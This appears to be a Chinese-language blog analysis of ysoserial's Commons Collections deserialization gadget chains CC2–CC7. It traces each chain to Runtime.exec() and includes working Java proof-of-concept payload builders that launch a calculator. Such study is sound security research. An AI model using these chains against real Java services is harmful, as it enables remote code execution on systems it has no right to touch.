CommonCollections2 commons-collections4.0
利用链分析 先看 ysoserial 的 Gadget
1 2 3 4 5 6 7 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
与 cb1 链类似,利用 PriorityQueue 反序列化的时候会对队列中的元素使用比较器的 compare 方法即 comparator.compare() 去处理。
cc2 链使用的比较器是 TransformingComparator,直接看 TransformingComparator.compare()
在比较前会用自身 transformer 的 transform 方法处理 queue 中的值,TransformingComparator.transformer 为InvokerTransformer ,继续看 InvokerTransformer 的 transform() 方法。
利用反射调用对象 input 的任意方法,方法名为自身的 this.iMethodName 属性,参数啥的也都是自身属性。
分析到这应该就明白 cc2 链是如何执行命令的了,只要找到一个能够执行命令的方法即可。ysoserial 用的是 TemplatesImpl,通过调用 TemplatesImpl 中的 newTransformer() 方法或者 getOutputProperties() 可以加载字节码执行命令。具体可以看 TemplatesImpl利用链分析
总结 自己写代码实现一下整条链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package payload;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.Reflections;import java.util.PriorityQueue;public class CommonCollections2 { public static void main (String[] args) throws Exception { String args1 = "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ; final Object templates = Gadgets.createTemplatesImpl(args1); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer" ,null ,null ); TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2 , transformingComparator); queue.add(templates); queue.add(templates); } }
触发比较后成功弹出计算器。
用 getOutputProperties() 方法也是一样的,两个方法都是无参的,参数类型和参数值都设置成 null 就行
CommonCollections3 commons-collections3.1
和CommonsCollection1一样,也是利用 AnnotationInvocationHandler` 动态代理机制触发,高版本的 jdk8 无法利用
利用链分析 先看 ysoserial 是如何构造的。
cc3 这条链基本一样,cc1 主要通过调用 ChainedTransformer 的 transform 方法,从而链式调用 Transformer 数组里元素的 transform 方法,最后通过 AnnotationInvocationHandler+LazyMap#get() 触发 ChainedTransformer 的 transform 方法,具体可以看 CommonCollections1链分析
cc3 与 cc1 唯一的不同就是 Transformer 数组
CC1 是通过 InvokerTransformer#transform() 方法里的反射调用机制来执行命令
1 2 3 4 5 6 7 8 9 10 11 12 new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec",new Class[] { String.class }, execArgs), new ConstantTransformer(1)
CC3 构造的 Transformer 数组如下
1 2 3 4 new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl }
ConstantTransformer 的作用是包裹一个对象,在调用其 transform 方法时返回这个对象,这里返回的就是 TrAXFilter 类对象,然后作为 InstantiateTransformer#transform() 方法的参数。看 InstantiateTransformer 的 transform() 方法
调用 input 的 getConstructor() 方法,其作用是重载构造函数,接着通过 newInstance() 方法调用它的构造函数,这里就是调用 TrAXFilter 的构造函数,继续看 TrAXFilter 的构造函数
这里会调用 templates#newTransformer() 方法,看到这里应该明白 CC3 是如何执行命令的了,还是通过 TemplatesImpl 。TemplatesImpl 的 newTransformer() 方法可以加载字节码执行命令。
总结 InstantiateTransformer#transform() 方法 可以调用任意类的构造函数
TrAXFilter 类的构造函数会调用 templates 的 newTransformer() 方法
然后配合 ChainedTransformer 的 transform 方法的链式调用和 TemplatesImpl 利用链
写代码实现一下整条链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package payload;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.xalan.xsltc.trax.TemplatesImpl;import ysoserial.payloads.util.Gadgets;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections3 { public static void main (String[] args) throws Exception { String args1 = "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ; Object templatesImpl = Gadgets.createTemplatesImpl(args1); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
CommonCollections4 commons-collections4.0
利用链分析 CC4 其实就是 CC2 的前半段 + CC3 的后半段组合一下。
总结 CC2 是通过 PriorityQueue 反序列化的时候会对队列中的元素使用比较器的 compare 方法即 TransformingComparator#compare() 去处理,在 TransformingComparator#compare() 中会调用 InvokerTransformer 的 transform 方法处理 queue 中的值。
CC3 则是通过 AnnotationInvocationHandler+LazyMap#get() 触发 ChainedTransformer 的 transform 方法从而执行命令
两个组合一下把 CC2 的 InvokerTransformer 替换成 CC3 里的ChainedTransformer 就得到 CC4 了
CommonCollections5 commons-collections3.1
由 BadAttributeValueExpException
触发所以高版本的 jdk8 也可以利用,有SecurityManager 限制,在 jdk 8u76之后,需要没有设置security manager才能触发这条gadget
利用链分析 在 CC1 中是通过 AnnotationInvocationHandler#invoke() 方法调用 lazyMap#get() 进而调用 ChainedTransformer#transform(),AnnotationInvocationHandler 类的 readObject 方法中并没有直接调用到 Map 的 get 方法,所以只能通过 java 动态代理机制去触发,而 CC5 就是找到了一个在 readObject 方法 中调用了 lazyMap#get() 的类。
直接看后半部分
1 2 3 4 5 6 7 8 9 10 11 12 .... TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException(null ); Field valfield = val.getClass().getDeclaredField("val" ); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return val;
这个类就是 BadAttributeValueExpException
1 2 3 4 // 这段就是通过反射机制设置 val的 val 为 entry Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry);
看 BadAttributeValueExpException 的 readobject 方法
在 BadAttributeValueExpException#readobject() 调用了 TiedMapEntry#toString() ,注意前面有个 if ,需要满足System.getSecurityManager() == null
,也就是没有设置 SecurityManager,在 jdk 8u76之后,需要没有设置security manager才能触发这条gadget。
在 TiedMapEntry#toString() 里调用了 TiedMapEntry#getValue()
最终在 TiedMapEntry#getValue() 方法里调用了 lazyMap#get() ,后面就是 CC1 链的内容了。
总结 调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
CommonCollections6 commons-collections3.1
由 BadAttributeValueExpException 触发,比较通用的一个版本
利用链分析 CC6 与CC5 一样都是对 CC1 的改进,CC5 是用 BadAttributeValueExpException#readobject 调用 TiedMapEntry#getValue() 从而调用 LazyMap#get(),而 CC6 换成了 HashSet
ysoserial 里的 CC6 链做了很多优化,看起来很复杂,这是网上的简化版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,new Class[]{}}), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,new Object[]{}}), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,Testtransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1" ); HashSet hashSet=new HashSet(1 ); hashSet.add(tiedMapEntry); lazyMap.remove("test1" ); Field field = ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(Testtransformer, transformers);
看 HashSet 的 readobject() 方法
1 2 3 4 5 6 7 8 9 10 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ...... for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
调用了 map.put() ,这里的 map 就是 HashMap
继续看 HashMap#put()
在 HashMap#put() 会用 HashMap#hash() 处理 key 继续跟进,这里的 key 就是前边构造的 TiedMapEntry
这里调用了 key.hashCode() 也就是 TiedMapEntry#hashCode(),继续看 TiedMapEntry#hashCode()
在TiedMapEntry#hashCode() 里调用了自身的 getvalue 方法
在这里调用了 map.get() 也就是 lazyMap#get() ,后面就和 CC1 一样了
总结 调用栈:
1 2 3 4 5 6 7 8 9 10 11 java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
CommonCollections7 commons-collections3.1
由 HashTable 触发,比较通用的一个版本
利用链分析 CC7 同 CC6 与CC5 一样都是对 CC1 的改进,CC7 用的是 Hashtable
直接看 Hashtable#readobject()
调用了自身的 reconstitutionPut() 方法
在 HashTable#reconstitutionPut() 会将 HashTable 里的键名(key)互相比较,payload 中我们构造 HashTable 时存入了两个LazyMap 作为 key。所以这里相当于调用了 LazyMap#equals()
LazyMap 类并没有实现 equals() 方法,在它的父类 AbstractMapDecorator 里定义了。
在AbstractMapDecorator#equals() 又会调用 this.map.equals() 这里的 this.map 是构造 LazyMap 时的 HashMap
继续看 HashMap#equals() ,在 HashMap 的父类 AbstractMap 里定义的 equals()
在这里就调用了 lazyMap#get() ,后面就和 CC1 一样了
在构造 LazyMap 的时候分别 put 了两个键值 yy zZ。
原因是在 HashTable#reconstitutionPut() 中进入 e.key.equals(key)
需要满足e.hash == hash
,也就是 key 的 hashcode 需要相同,打印下”yy”和”zZ”的 hashCode 之后会发现哈希值是一样的。
1 2 System.out.println("yy".hashCode()); // 3872 System.out.println("zZ".hashCode()); // 3872
后边 lazyMap2.remove(“yy”);是因为hashtable有两次put的操作,在第二次hashtable.put(lazyMap2, 2);
时,会触发LazyMap 的 get 方法,会新增一个 key/value 值相同的键值对,所以此时会多出一个yy
。
总结 调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec